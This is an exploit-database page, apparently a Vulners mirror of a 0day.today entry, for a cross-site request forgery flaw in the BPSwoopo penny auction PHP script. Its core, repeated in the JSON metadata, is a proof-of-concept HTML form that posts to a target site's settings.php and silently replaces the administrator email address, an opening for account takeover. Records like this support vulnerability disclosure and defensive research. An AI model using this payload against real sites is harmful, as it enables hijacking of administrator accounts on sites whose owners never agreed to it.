Search...

BPSwoopo CSRF Vulnerability

2012-03-14T00:00:00

ID 1337DAY-ID-17700
Type zdt
Reporter Jonturk75
Modified 2012-03-14T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            # Exploit Title: BPSwoopo CSRF 
# Author: Jonturk75
# Vendor or Software Link: http://www.scripts.com/viewscript/bpswoopo-penny-auction-script-like-swoopo/27766/
# Category::  webapps
# Demo : http://www.icloudcenter.net/demos/ICPenny/
# Greetz: Inj3ct0r Exploit DataBase 1337day.com



&lt;form method="POST" action="target.com/[PATH]/settings.php" name="conf"&gt;
&lt;input type="text" value="[email protected]_domain.com" maxlength="100" size="45" name="adminmail"/&gt;
&lt;input type="submit" value="Save changes" name="act"/&gt;



#  0day.today [2018-04-08]  #

JSON Vulners Source

Initial Source

{"id": "1337DAY-ID-17700", "lastseen": "2018-04-08T05:47:06", "viewCount": 3, "bulletinFamily": "exploit", "cvss": {"score": 0.0, "vector": "NONE"}, "edition": 2, "enchantments": {"score": {"value": 0.2, "vector": "NONE", "modified": "2018-04-08T05:47:06", "rev": 2}, "dependencies": {"references": [], "modified": "2018-04-08T05:47:06", "rev": 2}, "vulnersScore": 0.2}, "type": "zdt", "sourceHref": "https://0day.today/exploit/17700", "description": "Exploit for php platform in category web applications", "title": "BPSwoopo CSRF Vulnerability", "cvelist": [], "sourceData": "# Exploit Title: BPSwoopo CSRF \r\n# Author: Jonturk75\r\n# Vendor or Software Link: http://www.scripts.com/viewscript/bpswoopo-penny-auction-script-like-swoopo/27766/\r\n# Category:: webapps\r\n# Demo : http://www.icloudcenter.net/demos/ICPenny/\r\n# Greetz: Inj3ct0r Exploit DataBase 1337day.com\r\n\r\n\r\n\r\n<form method=\"POST\" action=\"target.com/[PATH]/settings.php\" name=\"conf\">\r\n<input type=\"text\" value=\"[email\u00a0protected]_domain.com\" maxlength=\"100\" size=\"45\" name=\"adminmail\"/>\r\n<input type=\"submit\" value=\"Save changes\" name=\"act\"/>\r\n\r\n\n\n# 0day.today [2018-04-08] #", "published": "2012-03-14T00:00:00", "references": [], "reporter": "Jonturk75", "modified": "2012-03-14T00:00:00", "href": "https://0day.today/exploit/description/17700"}